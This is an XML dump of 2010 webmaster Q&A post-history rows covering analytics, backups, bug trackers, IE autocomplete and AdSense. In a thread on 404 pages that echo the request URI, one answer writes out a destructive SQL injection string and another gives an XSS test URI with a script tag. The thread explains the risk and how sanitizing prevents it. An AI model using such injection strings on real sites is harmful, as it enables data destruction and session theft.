  <row Id="4113" PostHistoryTypeId="2" PostId="2150" RevisionGUID="3bf26b27-f637-4671-89d5-eb322e45ac8a" CreationDate="2010-08-11T23:39:55.317" UserDisplayName="KThinks" Text="My experience has been that unless you are using a contained framework such as an app WITHIN the context of a browser (like silverlight mentioned above), and have clear, suitable navigation in place, it is just not a good idea to start monkeying around with default functionality. In cases where I have seen it used there have almost always been problems with another browser being incompatible with the javascript or a session not always saving correctly, and when someone &quot;accidentally&quot; hits the button things tend to not continue on as expected." />
  <row Id="4114" PostHistoryTypeId="2" PostId="2151" RevisionGUID="bc649a70-4c29-442c-88b0-e50ebde6c0c0" CreationDate="2010-08-12T01:51:06.430" UserId="1455" Text="That's fascinating stuff. My website has 10 million page views a month and I have never heard from Google. However, I've noticed a few months ago when I go to Google Analytics in the morning the numbers from the previous day will sometimes be a lot less then they should be. If I go back later in the day, then the data will be updated and I can stop freaking out at my loss of 10K visitors.&#xD;&#xA;&#xD;&#xA;I've have recently started tracking events with Google Analytics on a much larger scale (about 60K events a day) and I wonder if all that data processing effects the speed with which my site stats are updated." />
  <row Id="4115" PostHistoryTypeId="2" PostId="2152" RevisionGUID="0b68cd24-1f1f-4099-adc4-9a1f41e70d33" CreationDate="2010-08-12T03:36:57.623" UserDisplayName="Geoff" Text="Build a system to only load the GA scripts for some small percentage of your site visitors, then extrapolate the actual data from that (and use your raw web logs to verify).&#xD;&#xA;" />
  <row Id="4116" PostHistoryTypeId="2" PostId="2153" RevisionGUID="c1baf426-e5fd-4bbb-a32a-76ef50c2af20" CreationDate="2010-08-12T04:13:38.683" UserId="1079" Text="I just noticed the default 404 page on one of my hosting accounts displays the requested URI.  &#xD;&#xA;&#xD;&#xA;`&lt;!--#echo var=&quot;REQUEST_URI&quot; --&gt;`  &#xD;&#xA;&#xD;&#xA;I faintly remember hearing or reading that this is a potential vulnerability of some sort.  However, it's hard to believe that a hosting provider would include this in their default 404 page if it was.  So, is this a vulnerability or not?" />
  <row Id="4117" PostHistoryTypeId="1" PostId="2153" RevisionGUID="c1baf426-e5fd-4bbb-a32a-76ef50c2af20" CreationDate="2010-08-12T04:13:38.683" UserId="1079" Text="404 page echoing request URI - security risk?" />
  <row Id="4118" PostHistoryTypeId="3" PostId="2153" RevisionGUID="c1baf426-e5fd-4bbb-a32a-76ef50c2af20" CreationDate="2010-08-12T04:13:38.683" UserId="1079" Text="&lt;security&gt;&lt;404&gt;" />
  <row Id="4119" PostHistoryTypeId="2" PostId="2154" RevisionGUID="1ffcdeaa-5624-4713-adf7-9eea0803a55d" CreationDate="2010-08-12T04:21:49.940" UserId="1460" Text="We run Piwik for a client with about 3 million page views per month. The mailing list has faster response times then Google customer support! With a bit of hacking it should be possible to run piwik on multiple machines.  &#xD;&#xA;&#xD;&#xA;The other solution is to only run Google Analytics as a sampling tool. For example you only log 1 out of every 10 visitors to the site. This is what some large sites do with some of the paid for Analytical tools to save on license fee's. " />
  <row Id="4121" PostHistoryTypeId="2" PostId="2156" RevisionGUID="cfeebffb-8031-41d1-afa5-c8785abcb988" CreationDate="2010-08-12T05:17:20.057" UserId="1465" Text="Before asking the question here, did you try replying to the email, or otherwise contacting the Google Analytics team, and asking them?" />
  <row Id="4122" PostHistoryTypeId="2" PostId="2157" RevisionGUID="2b206b7e-cfff-424e-bb81-0100fc3d4989" CreationDate="2010-08-12T06:05:37.380" UserId="138" Text="&gt; However, it's hard to believe that a&#xD;&#xA;&gt; hosting provider would include this in&#xD;&#xA;&gt; their default 404 page if it was&#xD;&#xA;&#xD;&#xA;Don't be so sure - I was with a very reputable host (or so I thought) who got hacked due to an unpatched vulerability and every single site on the host was deleted by the hacker. Their response - roll back to the last backup (72 hours old) and hope nobody notices.&#xD;&#xA;&#xD;&#xA;That said, there have been 404 XSS attacks in the past but they usually only affect a single piece of software, not an entire system. I don't know how including the URI would affect such an attack though.&#xD;&#xA;&#xD;&#xA;The ONLY thing I can think of, is if your web host was **really** poor, and I requested `/gimma404.html?'); DELETE * FROM Users; --` and somehow the RequestURI was logged into a database and not escaped then you could have an SQL Injection attack." />
  <row Id="4123" PostHistoryTypeId="2" PostId="2158" RevisionGUID="fae51d0f-2c08-492a-8563-7ebb9f24cdb6" CreationDate="2010-08-12T06:35:01.190" UserDisplayName="Benjamin Dageroth" Text="perhaps you should take a look at the high end analytic tools like Omniture, Webtrends, Coremetrics, Webtrekk, who are specialised in dealing with high traffic pages and allow much more customised tracking and evaluation. They cost quite some money though, but if you are that big, it's definitely an investment to take into account. Most big sites use one of these vendors and sometimes google analytics as a control.&#xD;&#xA;&#xD;&#xA;Disclaimer: I am actually working for Webtrekk, if you'd like to get a demo, lt me know." />
  <row Id="4124" PostHistoryTypeId="5" PostId="2156" RevisionGUID="fcdc6c07-5eb2-4620-be00-c1d1e4f470a2" CreationDate="2010-08-12T06:35:36.680" UserId="1465" Comment="rephrased question" Text="Did you try replying to the email, or otherwise contacting the Google Analytics team, and asking them?" />
  <row Id="4125" PostHistoryTypeId="2" PostId="2159" RevisionGUID="3cc47639-1d73-4501-a10e-8fcb9afb3ba2" CreationDate="2010-08-12T06:45:26.970" UserId="1468" Text="[Lighthouse][1] it's very good, you can try it for free.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lighthouseapp.com/" />
  <row Id="4126" PostHistoryTypeId="16" PostId="2159" RevisionGUID="3cc47639-1d73-4501-a10e-8fcb9afb3ba2" CreationDate="2010-08-12T06:45:26.970" UserId="-1" />
  <row Id="4127" PostHistoryTypeId="2" PostId="2160" RevisionGUID="450794bc-442b-4893-99b5-3ae6a5c7abce" CreationDate="2010-08-12T07:01:46.283" UserId="1470" Text="I created a HTML form with several input fields, nothing special. Using the most recent version of Google Chrome and Firefox autocompletion works for all form fields which means that whenever I want to refill the form the browsers suggest former input values for the fields.&#xD;&#xA;&#xD;&#xA;In IE8 it does not work at all. Other forms do work but on mine IE does not remember a single input value. The form is SSL encrypted but I don't think that's the reason because I tried other SSL forms which work. Any tipps? Thanks!" />
  <row Id="4128" PostHistoryTypeId="1" PostId="2160" RevisionGUID="450794bc-442b-4893-99b5-3ae6a5c7abce" CreationDate="2010-08-12T07:01:46.283" UserId="1470" Text="Form autocompletion not working" />
  <row Id="4129" PostHistoryTypeId="3" PostId="2160" RevisionGUID="450794bc-442b-4893-99b5-3ae6a5c7abce" CreationDate="2010-08-12T07:01:46.283" UserId="1470" Text="&lt;internet-explorer&gt;&lt;forms&gt;" />
  <row Id="4133" PostHistoryTypeId="2" PostId="2162" RevisionGUID="5298b0d1-8dd0-4474-b7e5-80de49c6d32d" CreationDate="2010-08-12T07:48:35.873" UserId="1470" Text="If you want to use Trac and are looking for a free hosted service check out http://www.projectlocker.com" />
  <row Id="4134" PostHistoryTypeId="16" PostId="2162" RevisionGUID="5298b0d1-8dd0-4474-b7e5-80de49c6d32d" CreationDate="2010-08-12T07:48:35.873" UserId="-1" />
  <row Id="4135" PostHistoryTypeId="2" PostId="2163" RevisionGUID="71d82fbc-f16a-443e-8490-60b5d738d30a" CreationDate="2010-08-12T07:50:38.113" UserId="1240" Text="Any information that you don't want people to see is a security risk, my advice would be to never use default 404's not only do they look ugly and provide very little functionality but they can as you are asking cause security concerns.&#xD;&#xA;&#xD;&#xA;Have a look at this site - http://www.smashingmagazine.com/2007/08/17/404-error-pages-reloaded/ for ideas on what you could do with a 404." />
  <row Id="4136" PostHistoryTypeId="2" PostId="2164" RevisionGUID="90b6b85b-06d0-4403-86c0-6bf1808ec661" CreationDate="2010-08-12T07:53:52.647" UserId="1240" Text="Congrats on reaching that type of status.  &#xD;&#xA;&#xD;&#xA;I can't see there being anything else you need to do, if there was Google would have told you." />
  <row Id="4138" PostHistoryTypeId="2" PostId="2166" RevisionGUID="cc0bbd28-7f6d-4ba4-a6df-a68ea1d29f7a" CreationDate="2010-08-12T08:18:55.737" UserId="798" Text="I like to offer an Identicon or a Gravatar for my users. When a user becomes trusted, they can upload or link an icon of their own choosing, but only after inspection." />
  <row Id="4139" PostHistoryTypeId="4" PostId="2094" RevisionGUID="91d42380-478c-45c1-b36f-23a5071b1072" CreationDate="2010-08-12T09:02:40.813" UserDisplayName="delete" Comment="edited title" Text="Feedback/bug tracking system for an alpha/beta phase website?" />
  <row Id="4140" PostHistoryTypeId="2" PostId="2167" RevisionGUID="ac463707-4fa0-47b7-b424-04f7233ff569" CreationDate="2010-08-12T09:03:52.370" UserId="914" Text="Normally autocomplete &quot;just works&quot; unless you actively disable it (either by setting `autocomplete=&quot;off&quot;` attribute on your form or input elements or by disabling it via [Tools &gt; Internet Options &gt; Content tab][1]).&#xD;&#xA;&#xD;&#xA;However, IE does have a propriety way of telling an INPUT field what type of autocomplete field you are using. It uses the [VCard][2] naming scheme to do this. This is best shown in an example:&#xD;&#xA;&#xD;&#xA;    &lt;input type=&quot;text&quot; name=&quot;email&quot; vcard_name = &quot;vCard.Email&quot; /&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;input type=&quot;text&quot; name=&quot;officephone&quot; vcard_name = &quot;vCard.Business.Phone&quot; /&gt;&#xD;&#xA;&#xD;&#xA;You can read more about this in the MSDN article '[Using AutoComplete in HTML Forms][3]'. Note this is quite old so not sure how relevant it is to IE8, but I presume it is still in use.&#xD;&#xA;&#xD;&#xA;Just a word of warning: The `vcard_name` and `autocomplete` attributes are propriety to IE and are **not** standard (X)HTML and therefore if you use them your page will not validate. I would personally avoid them, but see if it makes any difference.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ehow.com/how_2265787_disable-autocomplete-internet-explorer.html&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/VCard&#xD;&#xA;  [3]: http://msdn.microsoft.com/en-us/library/ms533032.aspx" />
  <row Id="4143" PostHistoryTypeId="2" PostId="2169" RevisionGUID="2eb64ba8-9def-4f1b-9033-276836405fa1" CreationDate="2010-08-12T09:20:01.263" UserDisplayName="delete" Text="Joel Spolsky, the owner of this site, offers a free/trial hosted version of his FogBugz bug tracking software. It would be worth at least evaluating I think, especially since it's hosted &amp; thus there is not a whole lot of work involved setting it up.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4144" PostHistoryTypeId="16" PostId="2169" RevisionGUID="2eb64ba8-9def-4f1b-9033-276836405fa1" CreationDate="2010-08-12T09:20:01.263" UserId="-1" />
  <row Id="4145" PostHistoryTypeId="5" PostId="2158" RevisionGUID="c9c7b863-2664-4b1a-a8a2-62e1fe36d1a5" CreationDate="2010-08-12T09:48:49.480" UserId="55" Comment="deleted 41 characters in body" Text="perhaps you should take a look at the high end analytic tools like Omniture, Webtrends, Coremetrics, Webtrekk, who are specialised in dealing with high traffic pages and allow much more customised tracking and evaluation. They cost quite some money though, but if you are that big, it's definitely an investment to take into account. Most big sites use one of these vendors and sometimes google analytics as a control.&#xD;&#xA;&#xD;&#xA;Disclaimer: I am actually working for Webtrekk." />
  <row Id="4147" PostHistoryTypeId="2" PostId="2170" RevisionGUID="63386951-796b-478e-8045-25ec0bd305c5" CreationDate="2010-08-12T10:27:11.310" UserId="221" Text="Echoing the failed URI may enable an XSS attack (it depends on your site) as the URL could be constructed so that a piece of JavaScript is injected and runs on your site. As such this injected JavaScript would have access to the users cookies and if he was logged in it could be used to gain his private information in your system.&#xD;&#xA;&#xD;&#xA;As long as the URI is sanitized (not allowed to include &lt; or &gt; for example) this should be fine.&#xD;&#xA;" />
  <row Id="4148" PostHistoryTypeId="5" PostId="2170" RevisionGUID="558b66ef-3e6b-40cc-9085-dde05b19769f" CreationDate="2010-08-12T10:32:17.687" UserId="221" Comment="added 201 characters in body" Text="Echoing the failed URI may enable an XSS attack (it depends on your site) as the URL could be constructed so that a piece of JavaScript is injected and runs on your site. As such this injected JavaScript would have access to the users cookies and if he was logged in it could be used to gain his private information in your system.&#xD;&#xA;&#xD;&#xA;As long as the URI is sanitized (not allowed to include &lt; or &gt; for example) this should be fine.&#xD;&#xA;&#xD;&#xA;You can test this with the following URI:&#xD;&#xA;&#xD;&#xA;    /doesnotexist/&quot;--&gt;&lt;script language=&quot;javascript&quot;&gt;alert(&quot;hello world&quot;)&lt;/script&gt;&#xD;&#xA;&#xD;&#xA;It may need some tweaking to work (assuming it *can* be made to work)" />
  <row Id="4149" PostHistoryTypeId="2" PostId="2171" RevisionGUID="f9f241fc-d362-4157-b202-5e62ac4175ef" CreationDate="2010-08-12T10:58:44.733" UserId="1470" Text="&gt; The DotNetNuke Professional Edition was introduced in February 2009 with version 5.0. The DotNetNuke Elite Edition was released in September 2009.&#xD;&#xA;&#xD;&#xA;Quoted from http://en.wikipedia.org/wiki/DotNetNuke&#xD;&#xA;&#xD;&#xA;At least these editions were not available in verion 4." />
  <row Id="4151" PostHistoryTypeId="6" PostId="2139" RevisionGUID="f302ef54-82db-4712-ac49-f83574419607" CreationDate="2010-08-12T11:53:01.227" UserId="55" Comment="edited tags" Text="&lt;cms&gt;" />
  <row Id="4152" PostHistoryTypeId="2" PostId="2173" RevisionGUID="57756cba-4027-4b7a-82b8-b013b775711c" CreationDate="2010-08-12T12:19:25.900" UserId="233" Text="Google Analytics is actually based on [Urchin][1], which you can install and host yourself on your server (cross-platform). The interface looks similar to GA but it may not be as polished. It's also very expensive - nearly $3,000 for a license!&#xD;&#xA;&#xD;&#xA;If Google is still allowing you to *track* every hit then there is probably no reason to switch - do you really need to check data up to the minute?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/urchin/index.html" />
  <row Id="4153" PostHistoryTypeId="5" PostId="2112" RevisionGUID="622053f5-a252-42aa-a9f6-fe41bd7d6f6c" CreationDate="2010-08-12T12:37:25.193" UserId="233" Comment="added 78 characters in body" Text="The real answer is to use whatever suits your site best. Some facts:&#xD;&#xA;&#xD;&#xA;* Keywords in the URL aid SEO and give users an idea of what the page is about.&#xD;&#xA;* The consensus is that a lowercase slug, separated by dashes, is the best.&#xD;&#xA;* Search engines index dynamic URIs (e.g. `index.php?page=about`) just fine.&#xD;&#xA;* Using ID numbers in URLs is much easier/faster for grabbing the content from the database.&#xD;&#xA;* Search Engines prefer unique URLs, so it's best to avoid having parts of the URL with no bearing on what is displayed if possible.&#xD;&#xA;* Use [rel=&quot;canonical&quot;][1] if you can't avoid possible duplicates. `example.com/1234/my-page` in theory should be different to `example.com/1234/my-pgae` but for most practical purposes they end up returning the same content, like on this site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="4154" PostHistoryTypeId="2" PostId="2174" RevisionGUID="d656e255-ae1b-4841-9d02-bd14a9a7089a" CreationDate="2010-08-12T13:07:25.693" UserId="1494" Text="I run highoncoding.com and I place adsense ads on the website. i have tons of content on the website but I am not making any progress in making money off the adsense. What advice can u give me? " />
  <row Id="4155" PostHistoryTypeId="1" PostId="2174" RevisionGUID="d656e255-ae1b-4841-9d02-bd14a9a7089a" CreationDate="2010-08-12T13:07:25.693" UserId="1494" Text="Putting Ads on HighOnCoding Placements " />
  <row Id="4156" PostHistoryTypeId="3" PostId="2174" RevisionGUID="d656e255-ae1b-4841-9d02-bd14a9a7089a" CreationDate="2010-08-12T13:07:25.693" UserId="1494" Text="&lt;google-adsense&gt;" />
  <row Id="4157" PostHistoryTypeId="2" PostId="2175" RevisionGUID="4d96b42c-db66-4190-a10f-bcbdf1dd6942" CreationDate="2010-08-12T13:34:32.903" UserId="1240" Text="I was just wondering how the community backs up their websites?&#xD;&#xA;&#xD;&#xA;I take a nightly dump of code and the database and shift it across onto another server which then gets backed up onto removable media.  It is fairly automated and seems to work but I would be interested to hear what others have to say." />
  <row Id="4158" PostHistoryTypeId="1" PostId="2175" RevisionGUID="4d96b42c-db66-4190-a10f-bcbdf1dd6942" CreationDate="2010-08-12T13:34:32.903" UserId="1240" Text="How do you backup your websites?" />
  <row Id="4159" PostHistoryTypeId="3" PostId="2175" RevisionGUID="4d96b42c-db66-4190-a10f-bcbdf1dd6942" CreationDate="2010-08-12T13:34:32.903" UserId="1240" Text="&lt;database&gt;&lt;backups&gt;&lt;code&gt;" />
  <row Id="4160" PostHistoryTypeId="16" PostId="2175" RevisionGUID="4d96b42c-db66-4190-a10f-bcbdf1dd6942" CreationDate="2010-08-12T13:34:32.903" UserId="1240" />
  <row Id="4161" PostHistoryTypeId="2" PostId="2176" RevisionGUID="9b904a60-0467-4ec7-8a1f-14f1d8d5a8cb" CreationDate="2010-08-12T13:39:44.903" UserId="221" Text="The site code is in Subversion, which is in turn backed up nightly. &#xD;&#xA;&#xD;&#xA;The content in relational databases is backed up nightly.&#xD;&#xA;&#xD;&#xA;Some of our sites have a huge volume of static content (images, pdfs etc.) and those are stored on RAID5 SANs, mirrored to an offsite facility and have tape backups just in case." />
  <row Id="4162" PostHistoryTypeId="16" PostId="2176" RevisionGUID="9b904a60-0467-4ec7-8a1f-14f1d8d5a8cb" CreationDate="2010-08-12T13:39:44.903" UserId="-1" />
  <row Id="4163" PostHistoryTypeId="2" PostId="2177" RevisionGUID="f84ddb15-aaed-4855-915e-20364b702ec5" CreationDate="2010-08-12T13:45:29.553" UserId="1064" Text="Users who click on AdSense ads are generally not technically-savvy.&#xD;&#xA;&#xD;&#xA;Find a business model that works for technically-savvy users.&#xD;&#xA;&#xD;&#xA;&gt; The simple fact is that web savvy&#xD;&#xA;&gt; folks are a lot less likely to click&#xD;&#xA;&gt; ads than those who are less well&#xD;&#xA;&gt; versed in the online world.&#xD;&#xA;&#xD;&#xA;[How Reader Demographics Affect Earnings with Adsense, Chitika, and Other Pay-Per-Click Programs][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.writingforyourwealth.com/blogging-for-bucks/how-reader-demographics-affect-earnings-with-adsense-chitika-and-other-pay-per-click-programs/" />
  <row Id="4164" PostHistoryTypeId="2" PostId="2178" RevisionGUID="112a5eec-b161-43da-b3ac-80de1d6e948e" CreationDate="2010-08-12T13:46:21.267" UserDisplayName="delete" Text="Why do you keep the master copy of the code on the webserver? I don't keep any code or programs on the webserver which I can't replace instantly.&#xD;&#xA;&#xD;&#xA;I back up the log files and user inputs using purpose-written scripts.&#xD;&#xA;" />
  <row Id="4165" PostHistoryTypeId="16" PostId="2178" RevisionGUID="112a5eec-b161-43da-b3ac-80de1d6e948e" CreationDate="2010-08-12T13:46:21.267" UserId="-1" />
  <row Id="4166" PostHistoryTypeId="2" PostId="2179" RevisionGUID="e442fde9-693b-4d3c-aff6-bb22762e7b6d" CreationDate="2010-08-12T13:48:41.713" UserId="914" Text="So long as the `REQUEST_URI` is HTML Encoded there is absolutely no risk in displaying it." />
  <row Id="4167" PostHistoryTypeId="5" PostId="2176" RevisionGUID="ade18eaa-0d41-4d94-806d-c2c5b604e14b" CreationDate="2010-08-12T13:56:56.093" UserId="221" Comment="added 127 characters in body; added 62 characters in body" Text="The site code is in Subversion, which is in turn backed up nightly. Any development of the code is done on dedicated dev servers. Production is only updated once the new version has been tested.&#xD;&#xA;&#xD;&#xA;The content in relational databases is backed up nightly. &#xD;&#xA;&#xD;&#xA;Some of our sites have a huge volume of static content (images, pdfs etc.) and those are stored on RAID5 SANs, mirrored to an offsite facility and have tape backups just in case.&#xD;&#xA;&#xD;&#xA;We do not backup log files as we do not rely on them much." />
  <row Id="4168" PostHistoryTypeId="2" PostId="2180" RevisionGUID="d456d374-27c9-47e9-99a1-e4cc457f2658" CreationDate="2010-08-12T14:16:57.700" UserId="795" Text=" 1. Log into the site with the Host account&#xD;&#xA; 2. Mouseover Host from the navigation menu - select Host Settings from the dropdown&#xD;&#xA; 3. Version should be the second row, Edition first row&#xD;&#xA;&#xD;&#xA;Mine says&#xD;&#xA;DotNetNuke Product: DotNetNuke Community Edition &#xD;&#xA;DotNetNuke Version: 04.09.05 " />
  <row Id="4169" PostHistoryTypeId="5" PostId="2175" RevisionGUID="3245fd98-a7ec-43e5-aa7e-45a22b6a43f9" CreationDate="2010-08-12T14:19:15.213" UserId="1240" Comment="Kinopiko asked a question which made me realise we don't download code." Text="I was just wondering how the community backs up their websites?&#xD;&#xA;&#xD;&#xA;I take a nightly dump the database and shift it across onto another server which then gets backed up onto removable media.  It is fairly automated and seems to work but I would be interested to hear what others have to say." />
  <row Id="4170" PostHistoryTypeId="5" PostId="2179" RevisionGUID="c72a64f7-ca07-4135-b505-407712caa938" CreationDate="2010-08-12T14:34:15.537" UserId="914" Comment="added 289 characters in body" Text="So long as the `REQUEST_URI` is HTML Encoded there is absolutely no risk in displaying it.&#xD;&#xA;&#xD;&#xA;Infact, it is generally good practice if the 404 page redirects to show the originally request URL so that the user can see exactly what they entered. This helps them to see if they made an obvious typo. This is the reason why so many default 404 pages do show this - it aids the user." />
  <row Id="4171" PostHistoryTypeId="2" PostId="2181" RevisionGUID="fd71a8ea-445c-49b3-8187-09d63f67e30d" CreationDate="2010-08-12T14:41:19.420" UserDisplayName="malcolm" Text="I have my code elsewhere but that won't take care of backing up blog posts on the live website.  I have a shared hostgator reseller account and there really isn't any built in automated way to back up.  I just found siteautobackup.com because it says it can back up everything from the WHN level but the product doesn't seem to be working yet." />
  <row Id="4172" PostHistoryTypeId="16" PostId="2181" RevisionGUID="fd71a8ea-445c-49b3-8187-09d63f67e30d" CreationDate="2010-08-12T14:41:19.420" UserId="-1" />
  <row Id="4173" PostHistoryTypeId="5" PostId="2105" RevisionGUID="35053387-a2e2-42df-a7a6-93fe3edbaf72" CreationDate="2010-08-12T14:48:05.050" UserId="55" Comment="We know it is http :) No sense in linking to example.com" Text="It is an old discussion whether an URI should contain only an ID or something describing the content, like this:&#xD;&#xA;&#xD;&#xA;**1)** example.com/articles/3252&#xD;&#xA;&#xD;&#xA;**2)** example.com/articles/how+to+design+good+uri&#xD;&#xA;&#xD;&#xA;As a compromise one could add a so called slug to the short URI:&#xD;&#xA;&#xD;&#xA;**3)** example.com/articles/3252/how+to+design+good+uri&#xD;&#xA;&#xD;&#xA;So which one do you like? Other ideas are welcome.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Provider/Style/URI.html" />
  <row Id="4174" PostHistoryTypeId="2" PostId="2182" RevisionGUID="ece96dae-b2c8-4ed7-bb88-2e62d748a476" CreationDate="2010-08-12T15:22:17.513" UserId="17" Text="I'm working on a website that will be selling tickets and they will go fast. I need a server side solutions, in php if possible, that will keep tickets from over selling. Any suggestions?" />
  <row Id="4175" PostHistoryTypeId="1" PostId="2182" RevisionGUID="ece96dae-b2c8-4ed7-bb88-2e62d748a476" CreationDate="2010-08-12T15:22:17.513" UserId="17" Text="looking for a good sever side shopping cart solution " />
  <row Id="4176" PostHistoryTypeId="3" PostId="2182" RevisionGUID="ece96dae-b2c8-4ed7-bb88-2e62d748a476" CreationDate="2010-08-12T15:22:17.513" UserId="17" Text="&lt;php&gt;&lt;shopping-cart&gt;" />
  <row Id="4177" PostHistoryTypeId="4" PostId="2182" RevisionGUID="82e1147e-0a3f-4e1b-b30d-f3a431e44a85" CreationDate="2010-08-12T15:26:10.057" UserId="108" Comment="edited title" Text="Looking for a good server side shopping cart solution " />
  <row Id="4178" PostHistoryTypeId="2" PostId="2183" RevisionGUID="c6ade244-c8c8-4aa9-b95c-923255eb8c77" CreationDate="2010-08-12T15:37:09.547" UserId="745" Text="These resources might help:&#xD;&#xA;&#xD;&#xA; - [11 Best Practices for URLs][1]&#xD;&#xA; - [How to make URLs user-friendly][2]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/blog/11-best-practices-for-urls&#xD;&#xA;  [2]: http://www.merges.net/theory/20010305.html" />
  <row Id="4179" PostHistoryTypeId="16" PostId="2183" RevisionGUID="c6ade244-c8c8-4aa9-b95c-923255eb8c77" CreationDate="2010-08-12T15:37:09.547" UserId="-1" />
  <row Id="4180" PostHistoryTypeId="2" PostId="2184" RevisionGUID="9e1152c9-9fb0-4af3-a975-fd8bb07ea125" CreationDate="2010-08-12T15:40:01.343" UserId="108" Text="[OSCommerce][1] is free and it uses PHP.  I am not sure if it tracks inventory but it should.  Since it is open source you can easily mod it.  It does allow for easy purchase integration as well.  The big downside is that it is older and bulky.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.oscommerce.com/" />
  <row Id="4181" PostHistoryTypeId="2" PostId="2185" RevisionGUID="ced3dd6d-1434-4770-bb70-9d57ec8bc2c3" CreationDate="2010-08-12T15:58:34.020" UserId="1253" Text="[Zen Cart][1] is an alternative version of OSCommerce.&#xD;&#xA;&#xD;&#xA;[Magento][2] is newer and very popular.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.zen-cart.com/&#xD;&#xA;  [2]: http://www.magentocommerce.com/" />
  <row Id="4182" PostHistoryTypeId="5" PostId="2182" RevisionGUID="932e6491-d352-4f14-8906-c9a736e8efaf" CreationDate="2010-08-12T16:25:02.487" UserId="17" Comment="added more information" Text="I'm working on a website that will be selling tickets and they will go fast. I need a server side solutions, in php if possible, that will keep tickets from over selling. Any suggestions?&#xD;&#xA;&#xD;&#xA;Also, I'm looking for the system to be more plug and play, like an API maybe. I'm not really looking for a eCommerce solution to sell goods. I need something simple and can sell tickets.&#xD;&#xA;&#xD;&#xA;Like EventBright but for a server in php. " />
  <row Id="4183" PostHistoryTypeId="2" PostId="2186" RevisionGUID="77fb742f-9315-4fdf-8a09-a52160d796a5" CreationDate="2010-08-12T16:26:29.070" UserId="427" Text="Nightly DB Dump to file&#xD;&#xA;&#xD;&#xA;Nightly DB permissions dump to file ([Maatkit][1])&#xD;&#xA;&#xD;&#xA;Use [Tarsnap][2] for offsite backup of DB dumps plus everything in /var/www/&#xD;&#xA;&#xD;&#xA;[1]: http://www.maatkit.org&#xD;&#xA;[2]: http://www.tarsnap.com" />
  <row Id="4184" PostHistoryTypeId="16" PostId="2186" RevisionGUID="77fb742f-9315-4fdf-8a09-a52160d796a5" CreationDate="2010-08-12T16:26:29.070" UserId="-1" />
  <row Id="4185" PostHistoryTypeId="2" PostId="2187" RevisionGUID="322a675c-6783-4f30-959a-f0ab7caaf69a" CreationDate="2010-08-12T16:39:20.710" UserDisplayName="Gretta" Text="Have you considered sampling your hits on the server side?  Only send a hit to Analytics some percentage of the time at random." />
  <row Id="4186" PostHistoryTypeId="2" PostId="2188" RevisionGUID="fb289fd6-6da9-46a6-aa1f-f74ab74836ad" CreationDate="2010-08-12T16:49:30.433" UserId="1493" Text="The Google-Bot seems to be hitting my site with the incorrect verification method.  I have Google Webmasters set up to use a meta-tag for verification, but I am still receiving requests for the html file method (which result in 404s).  Google Webmasters still shows my site as verified.  Should I be worried about this?&#xD;&#xA;&#xD;&#xA;Could this be coming from another Google service?  Should I switch to the html file method?  Should I just use both?  Here are the requests from the log just in case that's helpful.&#xD;&#xA;&#xD;&#xA;    66.249.85.2 - - [12/Aug/2010:08:56:04 -0700] &quot;GET /googlea6bf195e901587d1.html HTTP/1.1&quot; 404 124 - &quot;Google-Site-Verification/1.0,gzip(gfe),gzip(gfe)&quot;&#xD;&#xA;&#xD;&#xA;    66.249.71.118 - - [11/Aug/2010:05:40:57 -0700] &quot;GET /googlea6bf195e901587d1.html HTTP/1.1&quot; 404 124 - &quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html),gzip(gfe),gzip(gfe)&quot;" />
  <row Id="4187" PostHistoryTypeId="1" PostId="2188" RevisionGUID="fb289fd6-6da9-46a6-aa1f-f74ab74836ad" CreationDate="2010-08-12T16:49:30.433" UserId="1493" Text="Google Webmasters Verification Method" />
  <row Id="4188" PostHistoryTypeId="3" PostId="2188" RevisionGUID="fb289fd6-6da9-46a6-aa1f-f74ab74836ad" CreationDate="2010-08-12T16:49:30.433" UserId="1493" Text="&lt;google-webmaster-tools&gt;" />
  <row Id="4189" PostHistoryTypeId="2" PostId="2189" RevisionGUID="4287ee51-2262-4ca3-9196-482d580bac77" CreationDate="2010-08-12T17:07:08.143" UserDisplayName="C_C" Text="You could also use Google Analytics's own sampling functionality, which will sample traffic by user cookie and yield consistent results in the reports-- you just need to scale up the numbers you see in Analytics by dividing by your sampling rate.&#xD;&#xA;&#xD;&#xA;http://code.google.com/apis/analytics/docs/concepts/gaConceptsSampling.html" />
  <row Id="4190" PostHistoryTypeId="2" PostId="2190" RevisionGUID="a473c238-3b1f-4ba4-a539-fa1e15167e8c" CreationDate="2010-08-12T17:13:46.853" UserId="108" Text="It sounds like someone else is trying to register your address in their Google Webmaster page.  Anyone can try to register your domain in their Google Webmaster account but it will fail because they cannot add the required string in.&#xD;&#xA;&#xD;&#xA;Your best bet is to contact Google directly about this through the webmaster site and see what they tell you.  " />
  <row Id="4191" PostHistoryTypeId="10" PostId="2105" RevisionGUID="9e879dd7-f0f1-45fb-83b9-36d1e40dd87d" CreationDate="2010-08-12T17:39:17.593" UserId="-1" CloseReasonId="4" Text="[{&quot;Id&quot;:221,&quot;DisplayName&quot;:&quot;Kris&quot;},{&quot;Id&quot;:233,&quot;DisplayName&quot;:&quot;DisgruntledGoat&quot;},{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="4192" PostHistoryTypeId="16" PostId="2184" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-12T17:43:41.580" UserId="55" />
  <row Id="4193" PostHistoryTypeId="16" PostId="2185" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-12T17:43:41.580" UserId="55" />
  <row Id="4194" PostHistoryTypeId="16" PostId="2182" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-12T17:43:41.580" UserId="55" />
